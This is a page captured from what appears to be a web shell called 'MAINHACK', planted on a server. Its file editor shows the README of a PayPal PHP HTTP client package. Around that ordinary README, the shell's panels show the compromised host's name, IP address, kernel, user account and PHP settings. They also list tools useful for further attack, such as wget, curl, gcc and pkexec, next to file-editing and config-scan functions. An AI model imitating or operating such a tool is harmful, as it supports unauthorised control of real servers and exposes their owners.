[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: README.md
# PayPal HTTP Client  [](https://packagist.org/packages/phpjuice/paypal-http-client) [](https://packagist.org/packages/phpjuice/paypal-http-client) [](https://packagist.org/packages/phpjuice/paypal-http-client) This Package is a PHP Http Client. It provides a simple, fluent API to interact with PayPal rest API. To learn all about it, head over to the extensive [documentation](https://phpjuice.gitbook.io/paypal-checkout-sdk). ## Installation This Package requires PHP 7.4 or higher. One can install this package via Composer. ```bash composer require "phpjuice/paypal-http-client" ``` ## Setup PayPal HTTP Client is designed to simplify using the new PayPal checkout api in your app. ### Setup Credentials Get client ID and client secret by visiting the [PayPal Developer Account](https://developer.paypal.com/developer/applications) and generating a REST API app. ### Setup Paypal Client In order to communicate with PayPal platform we need to set up a client first : #### Create a client with sandbox environment: ```php <?php use PayPal\Http\Environment\SandboxEnvironment; use PayPal\Http\PayPalClient; // client id and client secret retrieved from PayPal $clientId = "<<PAYPAL-CLIENT-ID>>"; $clientSecret = "<<PAYPAL-CLIENT-SECRET>>"; // create a new sandbox environment $environment = new SandboxEnvironment($clientId, $clientSecret); // create a new client $client = new PayPalClient($environment); ``` #### Create a client with production environment: ```php <?php use PayPal\Http\Environment\ProductionEnvironment; use PayPal\Http\PayPalClient; // client id and client secret retrieved from PayPal $clientId = "<<PAYPAL-CLIENT-ID>>"; $clientSecret = "<<PAYPAL-CLIENT-SECRET>>"; // create a new sandbox environment $environment = new ProductionEnvironment($clientId, $clientSecret); // create a new client $client = new PayPalClient($environment); ``` ## Changelog Please see the [CHANGELOG](changelog.md) for more information on what has changed recently. ## Contributing Please see [CONTRIBUTING](./.github/CONTRIBUTING.md) for details and a todo list. ## Security If you discover any security related issues, please email author instead of using the issue tracker. ## Credits - [PayPal Docs](https://developer.paypal.com/docs/) - [Gitbook](https://www.gitbook.com/) ## License Please see the [Licence](./LICENSE) file.
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.84 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002